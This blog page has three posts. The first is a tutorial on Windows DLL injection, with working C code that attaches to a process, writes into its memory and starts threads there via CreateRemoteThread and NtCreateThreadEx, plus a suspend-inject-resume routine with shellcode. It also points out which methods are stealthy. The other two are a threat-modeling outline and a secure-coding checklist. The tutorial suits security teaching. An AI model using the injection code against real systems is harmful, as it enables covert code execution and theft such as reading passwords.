Thursday, April 14, 2016

Dll Injection Attack

DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injection is often used by external programs to influence the behavior of another program in a way its authors did not anticipate or intend. For example, the injected code could hook system function calls, or read the contents of password textboxes, which cannot be done the usual way. A program used to inject arbitrary code into arbitrary processes is called a DLL injector.

The code injection is usually in the form of a dynamic link library (DLL), since DLLs are meant to be loaded as needed at run time.
 However, other methods of code injection could be in the form of an attaching an executables, handwriting the code or reversing the application to call DLLs.

Code injection requires sufficient privileges to play with other system’s program memory.

The Windows API offers number of functions that allows to attach and manipulate into other programs for debugging purposes. 

However, this API can be exploited with malicious intend too. Dll injection can be broken down into 4 steps:

1) Attach to the process

2) Allocate Memory within the process

3) Copy the DLL or the DLL Path into the processes memory and determine appropriate memory addresses

4) Instruct the process to execute the DLL

Common windows API, that can be used are as follows:
openProcess() 
virtualAllocEx()
writeProcessMemory()
loadLibraryA()
createRemoteThread()
ntCreateThreatEx()
createFileA()
getFileSize()
getModuleHandle()
getProcAddress()
loadRemoteLibraryR()
createRemoteThreat()
getReflectiveLoaderOffset()


Each one of these steps can be accomplished through the use of one or more programming techniques which are summarized in the below image:


https://msdn.microsoft.com/en-us/library/windows/desktop/ms679303(v=vs.85).aspx describes about various process calls for debugging the application.


Execution Steps Summary:

OpenProcess() is used to attach the running malicious process with the authentic process.

virtualAllocEx() and WriteProcessMemory() can be used to obtain space within the target process' memory and prepare it as an execution starting point. Here, we can't just provide the name of our DLL to these functions, instead we have to provide a memory address to start execution at.

There are two popular starting points: LoadLibraryA() and jumping to DllMain.
CreateRemoteThread(),NtCreateThreadEx(), etc...can instruct the target process to launch the DLL.

LoadLibraryA() is a kernel32.dll function used to load DLLs, executables, and other supporting libraries at run time. It takes a filename as its only parameter. This means that we just need to allocate some memory for the path to our DLL and set our execution starting point to the address of 
LoadLibraryA(), providing the memory address where the path lies as a parameter. The major downside to LoadLibraryA() is that it registers the loaded DLL with the program and thus can be easily detected. Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. We can still work around this issue but it's more code.
An alternative method to LoadLibraryA() is to load the entire DLL into memory, then determine the offset to the DLL's entry point. Using this method you can avoid registering the DLL with the program (stealthy) and repeatedly inject into a process.


Step 1: Attaching to the Process



First we'll need a handle to the process so that we can interact with it. This is done with the OpenProcess() function. We'll also need request certain access rights in order for us to perform the tasks below. The specific access rights we request vary across Windows versions, however the following should work for most:


hHandle = OpenProcess( PROCESS_CREATE_THREAD | 
                       PROCESS_QUERY_INFORMATION | 
                       PROCESS_VM_OPERATION | 
                       PROCESS_VM_WRITE | 
                       PROCESS_VM_READ, 
                       FALSE, 
                       procID );


Step 2: Allocating Memory



Before we can inject anything into another process, we'll need a place to put it. We'll use the VirtualAllocEx() function to do so.

VirtualAllocEx() takes amount of memory to allocate as one of its parameters. If we use 
LoadLibraryA(), we'll allocate space for the full path of the DLL and if we jump to the DllMain, we'll allocate space for the DLL's full contents.

DLL Path
Allocating space for just the DLL path slightly reduces the amount of code you'll need to write but not by much. It also requires you to use the LoadLibraryA() method which has some downsides (described above). That being said, it is a very popular method.

Use VirtualAllocEx() and allocate enough memory
to support a string which contains the path to the DLL:GetFullPathName(TEXT("somedll.dll"), 
                BUFSIZE, 
                dllPath, //Output to save the full DLL path
                NULL);

dllPathAddr = VirtualAllocEx(hHandle, 
                             0, 
                             strlen(dllPath), 
                             MEM_RESERVE|MEM_COMMIT, 
                             PAGE_EXECUTE_READWRITE);


Full DLL
Allocating space for the full DLL requires a little more code however it's also much more reliable and doesn't need to use LoadLibraryA().

First, open a handle to the DLL with CreateFileA() then calculate its size with GetFileSize() and pass it to VirtualAllocEx():


GetFullPathName(TEXT("somedll.dll"), 
                BUFSIZE, 
                dllPath, //Output to save the full DLL path
                NULL);

hFile = CreateFileA( dllPath, 
                     GENERIC_READ, 
                     0, 
                     NULL, 
                     OPEN_EXISTING, 
                     FILE_ATTRIBUTE_NORMAL, 
                     NULL );

dllFileLength = GetFileSize( hFile, 
                             NULL );

remoteDllAddr = VirtualAllocEx( hProcess, 
                                NULL, 
                                dllFileLength, 
                                MEM_RESERVE|MEM_COMMIT, 
                                PAGE_EXECUTE_READWRITE ); 


Step 3: Copying the DLL/Determine Addresses


We can now copy the DLL (path or content) to the target process space.


We can copy our DLL Path or the Full DLL into that proess. We can use WriteProcessMemory() to do so:

DLL Path


WriteProcessMemory(hHandle, 
                   dllPathAddr, 
                   dllPath, 
                   strlen(dllPath), 
                   NULL);


Full DLL

We will first need to read our DLL into memory before we copy it to the remote process.


lpBuffer = HeapAlloc( GetProcessHeap(), 
                      0, 
                      dllFileLength); 

ReadFile( hFile, 
          lpBuffer, 
          dllFileLength, 
          &dwBytesRead, 
          NULL );

WriteProcessMemory( hProcess, 
                    lpRemoteLibraryBuffer, 
                    lpBuffer,  
                    dllFileLength, 
                    NULL );


Determining our Execution Starting Point


Most execution functions take a memory address to start at, so we'll need to determine what that will be.

DLL Path and LoadLibraryA()
We'll search our own process memory for the starting address of LoadLibraryA(), then pass it to our execution function with the memory address of DLL Path as it's parameter. To get LoadLibraryA()'s address, we'll use GetModuleHandle() and GetProcAddress():

loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");


Full DLL and Jump to DllMain


By copying the entire DLL into memory we can avoid registering our DLL with the process and more reliably inject. The somewhat difficult part of doing this is obtaining the entry point to our DLL when it's loaded in memory. Luckily enough, Stephen Fewer has made our lives easy. He's pioneered the Reflective DLL Injection technique which offers a greater level of stealth in comparison to existing methods. The LoadRemoteLibraryR() function included within his ReflectiveDLLInjection Inject project implements this entirely, however it limits our execution method to CreateRemoteThread(). So we'll use the GetReflectiveLoaderOffset() from it to determine our offset in our processes memory then use that offset plus the base address of the memory in the victim process we wrote our DLL to as the execution starting point. It's important to note here that the DLL we're injecting must complied with the appropriate includes and options so that it aligns itself with the ReflectiveDLLInjection method.

dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);


Executing the DLL!


At this point we have our DLL in memory and we know the memory address we'd like to start execution at. All that's really left is to tell our process to execute it. There are a couple of ways to do this.

CreateRemoteThread()


The CreateRemoteThread() function is probably the most widely known and used method. It's very reliable and works most times however you may want to use another method to avoid detection or if Microsoft changes something to cause CreateRemoteThread() to stop working. 

Since CreateRemoteThread() is a very established function, you have a greater flexibility in how you use it. For instance, you can do things like use Python to do DLL injection! 

rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);


NtCreateThreadEx()


NtCreateThreadEx() is an undocumented ntdll.dll function. The trouble with undocumented functions is that they may disappear or change at any moment Microsoft decides. That being said,NtCreateThreadEx() came in good handy when Windows Vista's session separation affectedCreateRemoteThread() DLL injection.

Detailed information about this method is described here:
http://securityxploded.com/ntcreatethreadex.php
NtCreateThreadEx() is a bit more complicated to call, we'll need a specific structure to pass to it and another to receive data from it. I've detailed the implementation here:



struct NtCreateThreadExBuffer {
 ULONG Size;
 ULONG Unknown1;
 ULONG Unknown2;
 PULONG Unknown3;
 ULONG Unknown4;
 ULONG Unknown5;
 ULONG Unknown6;
 PULONG Unknown7;
 ULONG Unknown8;
 }; 


typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) (
 OUT PHANDLE hThread,
 IN ACCESS_MASK DesiredAccess,
 IN LPVOID ObjectAttributes,
 IN HANDLE ProcessHandle,
 IN LPTHREAD_START_ROUTINE lpStartAddress,
 IN LPVOID lpParameter,
 IN BOOL CreateSuspended,
 IN ULONG StackZeroBits,
 IN ULONG SizeOfStackCommit,
 IN ULONG SizeOfStackReserve,
 OUT LPVOID lpBytesBuffer
);

HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {

 HANDLE hRemoteThread = NULL;

 LPVOID ntCreateThreadExAddr = NULL;
 NtCreateThreadExBuffer ntbuffer;
 DWORD temp1 = 0; 
 DWORD temp2 = 0; 

 ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

 if( ntCreateThreadExAddr ) {
 
  ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
  ntbuffer.Unknown1 = 0x10003;
  ntbuffer.Unknown2 = 0x8;
  ntbuffer.Unknown3 = &temp2;
  ntbuffer.Unknown4 = 0;
  ntbuffer.Unknown5 = 0x10004;
  ntbuffer.Unknown6 = 4;
  ntbuffer.Unknown7 = &temp1;
  ntbuffer.Unknown8 = 0;

  LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
  NTSTATUS status = funNtCreateThreadEx(
          &hRemoteThread,
          0x1FFFFF,
          NULL,
          hHandle,
          (LPTHREAD_START_ROUTINE)loadLibAddr,
          dllPathAddr,
          FALSE,
          NULL,
          NULL,
          NULL,
          &ntbuffer
          );
  
  if (hRemoteThread == NULL) {
   printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status);
   return NULL;
  } else {
   return hRemoteThread;
  }
 } else {
  printf("\n[!] Could not find NtCreateThreadEx!\n");
 }
 return NULL;

}

Now we can call it very much like CreateRemoteThread():

rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam);
WaitForSingleObject(rThread, INFINITE);


Suspend, Inject, and Resume


Suspend, Inject, and Resume is an unofficial term to describe the method of injecting into process by attaching to it, suspending it and all of its threads, targeting a particular thread, saving the current registers, changing the instruction pointer to point to your executing starting point, and resuming the thread. This is a much more intrusive method, but works reliably and does not depend on additional function calls.

This method is a little more involved to implement. There is a great write up here:



VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
 /*
  This is a mixture from the following sites:

   http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html
   http://www.kdsbest.com/?p=159

 */

 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE thread = NULL;
 THREADENTRY32 te;
 THREADENTRY32 te2;
 
 CONTEXT   ctx;
 DWORD firstThread = 0;
 HANDLE targetThread = NULL;

 LPVOID scAddr;

 int i;
 
 unsigned char sc[] = {
   // Push all flags
   0x9C,
   // Push all register
   0x60,
   // Push 3,4,5,6 (dllPathAddr)
   0x68, 0xAA, 0xAA, 0xAA, 0xAA, 
   // Mov eax, 8,9,10, 11 (loadLibAddr)
   0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
   // Call eax
   0xFF, 0xD0,
   // Pop all register
   0x61,
   // Pop all flags
   0x9D,
   // Ret
   0xC3
  };

 te.dwSize = sizeof(THREADENTRY32);
 te2.dwSize = sizeof(THREADENTRY32);
 ctx.ContextFlags = CONTEXT_FULL;

 sc[3] = ((unsigned int) dllPathAddr & 0xFF);
 sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
 sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
 sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);

 sc[8] = ((unsigned int) loadLibAddr & 0xFF);
 sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
 sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
 sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);
 
 

 // Suspend Threads
 if(Thread32First(hSnapshot, &te)) {
  do {
   if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
    if ( firstThread == 0 )
     firstThread = te.th32ThreadID;
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
     SuspendThread(thread);
     CloseHandle(thread);
    } else {
     printf("\t[+] Could not open thread!\n");
    }
   }
  } while(Thread32Next(hSnapshot, &te));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
  CloseHandle(hSnapshot);
  exit(-1);
 }
 CloseHandle(hSnapshot);

 printf("\t[+] Our Launcher Code:\n\t");
 for (i=0; i<17; i++)
  printf("%02x ",sc[i]);
 printf("\n");
 //  Get/Save EIP, Inject
 printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
 targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
 if (GetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] GetThreadContext Failed!\n");
 printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 printf("\t[+] Saving EIP for our return\n");
 ctx.Esp -= sizeof(unsigned int);
 WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
 printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);

 scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());

 printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));

 printf("\t[+] Setting EIP to LauncherCode\n");
 ctx.Eip = (DWORD)scAddr;
 printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 if (SetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] SetThreadContext Failed!\n");

 // Resume Threads
 hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 te.dwSize = sizeof(THREADENTRY32);

 if(Thread32First(hSnapshot2, &te2)) {
  do {
   if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
     ResumeThread(thread);
     if (te2.th32ThreadID == firstThread) 
      WaitForSingleObject(thread, 5000);
     CloseHandle(thread);
    } else {
     printf("\t[+] Could not open thread!\n");
    }
   }
  } while(Thread32Next(hSnapshot2, &te2));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
  CloseHandle(hSnapshot2);
  exit(-1);
 }
 CloseHandle(hSnapshot2);
}

Courtesy : http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

Monday, April 4, 2016

Software Threat Modeling

ASSETS
What are we trying to protect?

-        SOFTWARE ARCHITECTURE OVERVIEW

o   COMPONENT DIAGRAM
Component diagram illustrates the structure of arbitrarily complex systems

o   DATA FLOW DIAGRAM
Data Flow Diagram is a graphical representation of the "flow" of data through an information system, modelling its process aspects

o   TRUST BOUNDARIES
Trust boundary refers to a boundary where program data or execution changes its level of "trust”

-        DECOMPOSE SOFTWARE

o   SEQUENCE DIAGRAM
A Sequence diagram is an interaction diagram that shows how processes operate with one another and in what order

o   POTENTIAL AREAS OF INTEREST
Potential entry point to the application

-        IDENTIFY THREATS

o   ATTACKER
               A person who uses computers to gain unauthorized access to data

o   ATTACK TREE
Attack trees are conceptual diagrams showing how an asset, or target, might be attacked

o   STRIDE AND DREAD

§  STRIDE
STRIDE = (Spoofing Identify + Data Tampering + Repudiation + Information Disclosure + Denial of Service + Privilege Escalation)
STRIDE is a classification scheme for characterizing known threats according to the kinds of exploit that are used (or motivation of the attacker)

§  DREAD
DREAD = (Damage + Reproducibility + Exploitability + Affected Users + Discoverability)
DREAD is a classification scheme for quantifying, comparing and prioritizing the amount of risk presented by each evaluated threat

-        REMEDIATION PLAN

Plan to perform the remediation of one or more threats or vulnerabilities facing an organization’s systems.

Source: https://www.youtube.com/watch?v=IC5y7vk5YcQ


Secure Coding Practices Checklist

Secure Coding Practices Checklist:
-        Input Validation
-        Output Encoding
-        Authentication and Password Management
-        Session Management
-        Access Control
-        Cryptographic Practices
-        Error Handling and Logging 
-        Data Protection
-        Communication Security
-        System Configuration
-        Database Security
-        File Management
-        Memory Management
-        General Coding Practices

Explanation:

Input Validation:
1)      Identify trusted and non-trusted systems and conduct all data validation for them.
2)      Maintain a centralized input validation routine for the application
3)      Specify proper character sets
4)      Encode something to a common set before validating
5)      Validate all client provided data as in parameters, URLs and HTTP header content (cookie names and values)
6)      Verify that header values in request and response contains ASCII values only
7)      Validate redirects,expected data types, data range, data length, black list, white list
8)      Hazardious characters must be properly verified using various APIs

Output Encoding:
1)      Conduct all encoding on a trusted system and sent to the client.
2)      encode all characters unless its safe for the other application.

Authentication and Password Management:
1)      Require authentication for all pages and resources
2)      authentication controls must be enforced on a trusted system
3)      use standard, tested authentication services
4)      use a centralized authentication control mechanism
5)      credential store must store passwords in a encrypted way with proper salting.
6)      validate the authentication data only on completion of all data input.
7)      authentication failure must use generic message rather than "invalid username" or "invalid password"
8)      authentication credentials for accessing outside service must be stored securely in a secure credential store. Source code is not a proper location.
9)      Use only HTTP Post to transmit authentication
10)    Temporary passwords is an exception to send unencrypted over a network.
11)    Enforce password complexity
12)    Enforce password length
13)    Password must be obscured on the user's screen
14)    Enable account disabling
15)    Proper password reset and changing scheme must be enabled.
16)    Password reset questions must be framed such that it can't be recovered easily using social engineering.
17)    Temporary passwords must be send to registered email address only and it should have definite attempts and should have definite expiration time.
18)    Enforce the change of password on next use.
19)    Notify users upon sign-in/attempted sign-in from other devices
20)    Notify users about last login status.
21)    Prevent password re-use.
22)    Password must be atleast 24 hours old to make an change attempt.
23)    Disable “remember me” for critical applications.
24)    Implement UBA.
25)    Implement User Account Status Monitoring.
26)    Change all vendor supplied user accounts and passwords.
27)    Re-authenticate users prior to performing critical operations.
28)    Use Multi-Factor Authentication for sensitive applications.
29)    Examine the third party code if used for authentication for probable tampering or injection.

Session Management:
1)      Use the server or framework’s session management controls. The application should recognize these session ids only.
2)      Session creation must be done by trusted sources only.
3)      Session generation algorithms must generate random session ids to prevent session guessing.
4)      Set the domain and path for cookies containing authentication identifiers to an appropriately restricted value for the site.
5)      Logout should terminate session completely.
6)      Logout functionality must be available at every pages.
7)      Set a session timeout activity to prevent session hijacking. Enforce requirement to re authenticate after session expiration.
8)      Generate a new session id on re-authentication.
9)      Do not allow concurrent logins from different systems for the same user ID/session IDs.
10)   Do not expose session identifiers in URLs, error messages or logs. It should be available only in HTTP cookie header.
11)   Secure the Session IDs from unauthorized access.
12)   Generate a new session id periodically and disable existing one to prevent session hijacking.
13)   Generate a new session id when the application changes from HTTP to HTTPS. It is recommended to consistently utilize HTTPS.
14)   Generate per-session strong random parameters or tokens to avoid CSRF for every session.
15)   Set the “secure” attribute for cookies transmitted over a TLS connection.
16)   Set cookies with HTTPOnly attribute unless we require client side script to read or set a cookie.

Access Control:
1)      Use only server side session objects for making authorization decisions.
2)      Use a centralized or single-site component or module to check for authorization.
3)      Deny all access if the application fail to access its security configuration information.
4)      Enforce authorization controls on every request including controls for server side scripts.
5)      Segregate privilege logic from other application code.
6)      Enforce authorization controls for access to files or resources, protected URLs, functions, direct object reference, services, application data, user and data attributes, policy information, security related configuration information.
7)      Server side implementation and presentation layer representation of access control should match.
8)      If state data must be stored on the client to identify the state of the user, use encryption and integrity check to detect and avoid state data tampering
9)      Limit the no. of transactions a user can perform in a given time.
10)   Re-validate long sessions.
11)   Implement UBA, account auditing and unused account protection.
12)   Application must terminate the session immediately upon any authorization violation.
13)   Service accounts or accounts used to communicate with external systems must have least privileges.

Cryptographic Practices:
1)      Cryptographic functions used to secure the data must be implemented on a trusted system.
2)      Protect master secrets from unauthorized access.
3)      Use tested and certified, well known random generator module for generating random numbers.
4)      Change the encryption key after a definite time.

Error Handling and Logging:
1)      Sensitive information shouldn’t be disclosed in error responses, system details, session identifiers or account information.
2)      Use error handlers that doesn’t display debugging or stack trace information.
3)      Implement generic error messages and use custom error pages.
4)      Properly allocate memory when error condition occurs.
5)      Error handling logic must prevent access by default.
6)      All logging and error controls must be implemented in server (trusted source).
7)      Ensure proper log management.
8)      Enable Log security e.g. audit log tempering, clearing etc.
9)      Do not store sensitive information in logs.
10)   Log everything as per the standards like application logs, events logs, system logs etc.

Data Protection:
1)      Implement least privilege.
2)      Protect cashed/RAM or temporary stored data from getting grabbed by other processes or applications.
3)      Encrypt highly sensitive data with secure cryptographic programs.
4)      Do not store passwords or sensitive information in clear text
5)      Remove comments from the code.
6)      Remove unnecessary application and documentation.
7)      Do not include sensitive information in HTTP Get.
8)      Disable autocomplete features for sensitive information.
9)      Disable client side caching for sensitive information. Use Cache-control: no-store along with HTTP header control: Pragma: no-cache.
10)   Remove sensitive data when no longer required.
11)   Implement appropriate access control on the sensitive data.

Communication Security:
1)      Send data through secure protocols: like IPSec, TLS, SSL, SSH etc.
2)      TLS certificate should be valid with correct domain name, not expired and be installed with intermediate certificates when required.
3)      Failed TLS should not be backward compatible.
4)      Utilize a single standard TLS implementation.
5)      Specify appropriate encoding for all connections.
6)      Filter parameters containing sensitive information from the HTTP referer, when linking to external sites.

System Configuration:
1)      Ensure system components are running the latest versions.
2)      Turn off directory listing
3)      Restrict the web server, processes and user accounts to least privilege policy.
4)      Fail securely upon exceptions.
5)      Remove all unnecessary files and functionalities.
6)      Remove test code or any functionality not intended for production.
7)      Prevent disclosure of directory not intended for public in “robots.txt” file. Rather than blocking individual directory, put all such files in a separate parent directory and disable that.
8)      Define which HTTP methods the application will support and disallow others.
9)      If the web server handles both HTTP 1.0 and 1.1 then ensure both are implemented in similar manner and we understand any possible difference (E.g. handling of extensive HTTP methods)
10)   Remove unnecessary information from HTTP response headers related to the OS, web-server version and application frameworks
11)   The security configuration store for the application should be able to be output in human readable form to support auditing
12)   Implement an asset management system and register system components and software in it
13)   Isolate development environments from the production network and provide access only to authorized development and test groups. Development environments are often configured less securely than production environments and attackers may use this difference to discover shared weaknesses or as an avenue for exploitation
14)   Implement a software change control system to manage and record changes to the code both in development and production

Database Security:
1)      Use parameterized queries only
2)      Utilize input validation and output encoding and be sure to address meta characters. If these fail, do not run the database command
3)      The application should use the lowest possible level of privilege when accessing the database
4)      Use secure credentials for database access.
5)      Connection strings must not be hardcoded in the code. Connection string must be stored in a separate configuration file on trusted system and it should be encrypted.
6)      Close the connection as soon as possible.
7)      Remove or change all default database administrative passwords. Utilize strong passwords/phrases or
8)      Implement multi-factor authentication.
9)      Turn off all unnecessary database functionality (e.g., unnecessary stored procedures or services, utility packages, install only the minimum set of features and options required.
10)   Remove unnecessary default vendor content (e.g., sample schemas).
11)   Disable any default accounts that are not required to support business requirements.
12)   The application should connect to the database with different credentials for every trust distinction (e.g., user, read-only user, guest, administrators)

File Management:
1)      Do not pass user supplied data directly to any dynamic include function.
2)      Require authentication before file upload.
3)      Limit the types of files as required.
4)      Validate uploaded file types by checking the headers.
5)      Do not save files in the same web context as the application. Files should either go to the content server or in the database.
6)      Prevent or restrict the uploading of any file that may be interpreted by the web server.
7)      Turn off execution privileges on file upload directories
8)      When referencing existing files, use a white list of allowed file names and types. Validate the value of the parameter being passed and if it does not match one of the expected values, either reject it or use a hard coded default file value for the content instead.
9)      Do not pass user supplied data into a dynamic redirect. If this must be allowed, then the redirect should accept only validated, relative path URLs
10)   Do not pass directory or file paths, use index values mapped to pre-defined list of paths
11)   Never send the absolute file path to the client
12)   Ensure application files and resources are read-only
13)   Scan user uploaded files for viruses and malware

Memory Management:
1)      Utilize input and output control for un-trusted data.
2)      Double check that buffer is as large as specified.
3)      When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string
4)      Check buffer boundaries if calling the function in a loop and make sure there is no danger of writing past the allocated space
5)      Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions
6)      Specifically close resources, don’t rely on garbage collection
7)      Use non-executable stacks when available
8)      Avoid the use of known vulnerable functions (e.g., printf, strcat, strcpy etc.)
9)      Properly free allocated memory upon the completion of functions and at all exit points

Generalized Coding Practice:
1)      Use tested and approved managed code rather than creating new unmanaged code for common tasks
2)      Utilize task specific built-in APIs to conduct operating system tasks. Do not allow the application to issue commands directly to the Operating System, especially through the use of application initiated command shells
3)      Use checksums or hashes to verify the integrity of interpreted code, libraries, executables, and configuration files
4)      Utilize locking to prevent multiple simultaneous requests or use a synchronization mechanism to prevent race conditions
5)      Protect shared variables and resources from inappropriate concurrent access
6)      Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage
7)      In cases where the application must run with elevated privileges, raise privileges as late as possible, and drop them as soon as possible
8)      Avoid calculation errors by understanding your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation
9)      Do not pass user supplied data to any dynamic execution function
10)   Restrict users from generating new code or altering existing code
11)   Review all secondary applications, third party code and libraries to determine business necessity and validate safe functionality, as these can introduce new vulnerabilities
12)   Implement safe updating. If the application will utilize automatic updates, then use cryptographic signatures for your code and ensure your download clients verify those signatures. Use encrypted channels to transfer the code from the host server